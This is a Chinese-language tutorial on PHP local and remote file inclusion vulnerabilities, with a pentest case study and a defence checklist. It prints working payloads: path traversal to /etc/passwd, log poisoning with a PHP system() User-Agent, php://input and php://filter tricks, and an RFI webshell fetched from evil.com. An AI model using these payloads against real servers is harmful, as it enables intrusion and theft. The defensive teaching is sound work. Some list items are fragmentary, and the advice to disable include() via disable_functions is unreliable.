文件包含漏洞是Web应用程序中一类经典且高危的安全缺陷,攻击者利用它能够读取服务器上的敏感文件、执行恶意代码甚至直接控制服务器。对于开发者和安全运维人员而言,理解其利用原理、掌握实战中的攻击手法,并建立有效的防御体系,是保障Web应用安全的基本功。本文从文件包含漏洞的两种主要类型(本地文件包含LFI和远程文件包含RFI)出发,结合具体代码示例和真实案例,剖析攻击者如何绕过常见防护,并给出经过验证的修复方案。
几乎所有文件包含漏洞都源于开发者在调用include()、require()等PHP函数时,直接将用户输入作为文件路径参数,且未做任何过滤或校验。例如下面这段代码:
$page = $_GET['page']; include($page . '.php');
攻击者只需传入?page=../../../etc/passwd即可利用路径穿越读取系统密码文件(路径遍历),或者传入?page=http://evil.com/shell进行远程文件包含(需开启allow_url_include)。根据OWASP《Web应用安全风险Top 10》报告,注入类漏洞(包括文件包含)长期占据高危漏洞前列,其中文件包含在PHP应用中尤为普遍,占所有注入类漏洞的约12%。
LFI是攻击者最常遇到的类型,它不需要远程服务器配合,仅利用服务器本地文件即可扩大攻击面。常见的利用方式包括:
/etc/passwd、/proc/self/environ等文件,获取系统信息或配置。<?php system($_GET['cmd']); ?>的User-Agent请求,日志会记录该字符串,随后用?page=../../var/log/apache2/access.log包含日志,即可将恶意代码解释执行。allow_url_include开启时,使用php://input可以读取POST请求体中的PHP代码并执行。例如?page=php://input,然后在POST数据中写入<?php system('id');?>。allow_url_include关闭,php://filter仍可用于读取PHP文件源码(Base64编码)。例如?page=php://filter/convert.base64-encode/resource=index.php。LFI利用的多样性给防御带来了挑战,仅仅限制文件后缀名(如拼接.php)是不够的,攻击者可以通过空字节截断(%00)或二次编码绕过早期版本的PHP限制。
RFI要求服务器开启allow_url_include和allow_url_fopen,且防火墙允许出站连接。一旦满足条件,攻击者可以直接包含外部服务器上的恶意脚本(如一句话木马),实现远程代码执行。RFI的典型攻击流程:
shell.txt(内容为<?php eval($_POST['c']);?>)。?page=http://evil.com/shell.txt。由于云服务环境普遍限制了出站连接,RFI在现代实战中不如LFI常见,但一旦出现,攻击者可以绕过白名单、CDN等防护直接获取控制权,因此仍应作为重点防御对象。
在一次渗透测试中,发现某CMS系统存在文件包含漏洞:index.php?template=default。直接尝试?template=../../etc/passwd成功读取文件,确认存在LFI。但该CMS使用了白名单机制,限制了只能包含templates/目录下的文件,路径穿越被截断。然而,攻击者发现目标服务器的访问日志位置为/var/log/nginx/access.log,且日志记录未过滤特殊字符。于是构造如下请求:
curl -A "<?php system('cat /etc/passwd');?>" http://target.com/index.php随后包含日志文件:?template=../../var/log/nginx/access.log,日志中的PHP代码被解析执行,输出root:x:0:0:root:/root:/bin/bash等敏感信息。进一步利用该漏洞,攻击者上传了WebShell并提权,最终控制整个服务器。这个案例揭示了即使有白名单,LFI仍可通过日志注入绕过。
| 防御方案 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| 严格白名单 | 只允许包含预定义的文件列表,拒绝任何用户输入作为路径 | 最彻底的防御,无绕过可能 | 灵活性差,需要维护列表 |
| 禁用危险函数 | 在php.ini中禁用include、require等函数,或使用disable_functions限制 | 简单粗暴,直接消除漏洞 | 可能影响业务逻辑,不适用于需要动态包含的场景 |
| 输入过滤与路径校验 | 过滤../、://等特殊字符,使用realpath()解析真实路径后与允许的目录比较 | 兼顾安全与灵活性 | 实现复杂,容易遗漏绕过方式 |
| 关闭远程文件包含 | 在php.ini中关闭allow_url_include和allow_url_fopen | 消除RFI风险 | 不影响LFI,仍需其他措施 |
根据SANS《Web应用安全防御指南》的建议,推荐组合使用白名单+路径校验+关闭远程包含,形成纵深防御体系。同时,定期审计代码中包含函数的使用情况,确保所有用户输入都经过严格过滤。
修复文件包含漏洞需要从代码层面和配置层面双管齐下。以下是一个可操作的检查清单:
include()、require()、include_once()、require_once()、file_get_contents()等函数的代码,确认参数是否来自用户输入。$pages = ['home'=>'home.php','about'=>'about.php']; $page = $pages[$_GET['page']] ?? 'home.php';。allow_url_include,并确保Web服务器没有向外部发起不必要的出站连接。文件包含漏洞虽然常见,但通过系统化的防御措施完全可以避免。开发者和运维人员应当将安全左移,在编码阶段就杜绝此类缺陷,而非等到上线后被动打补丁。记住,任何用户可控的文件路径都是一颗定时炸弹,不要给它爆炸的机会。
评论
加载中...